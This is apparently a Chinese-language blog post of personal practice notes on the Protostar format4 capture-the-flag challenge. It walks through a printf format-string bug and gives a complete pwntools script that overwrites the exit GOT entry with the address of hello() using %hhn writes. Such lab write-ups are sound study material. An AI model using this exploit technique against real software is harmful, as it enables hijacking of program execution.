pwn 练习笔记 format4

protostar format4

日常练习,源码为

#include 
#include 
#include 
#include 

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

可以看出printf这里出现了漏洞,这个题的思路就是覆盖exit的地址为函数hello的地址,让程序执行hello函数

1.确定存在格式化串洞的参数是第几个

是第四个参数,把ABCD换成hello函数的地址

2.确定hello函数的地址

pwn 练习笔记 format4_第1张图片

hello函数的地址为0x80484b4

替换之后

3.找到exit的调用地址

pwn 练习笔记 format4_第2张图片

可以看到 call exit 是跳转到0x80483ec处执行代码,我们用x/i 0x80483ec 查看该地址的内容 

发现是jmp到了0x8049724这个地址,所以只要将0x8049724 这个地址覆盖为hello函数的地址  就可以

代码如下

from pwn import *
 
def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr
 
def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
 
def main():
    sh = process('./format4')
    payload = fmt_str(4,4,0x8049724,0x80484b4)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()
 
main()

最近破事比较多,学习被耽误啦,还是要多努力啊

你可能感兴趣的:(pwn,训练)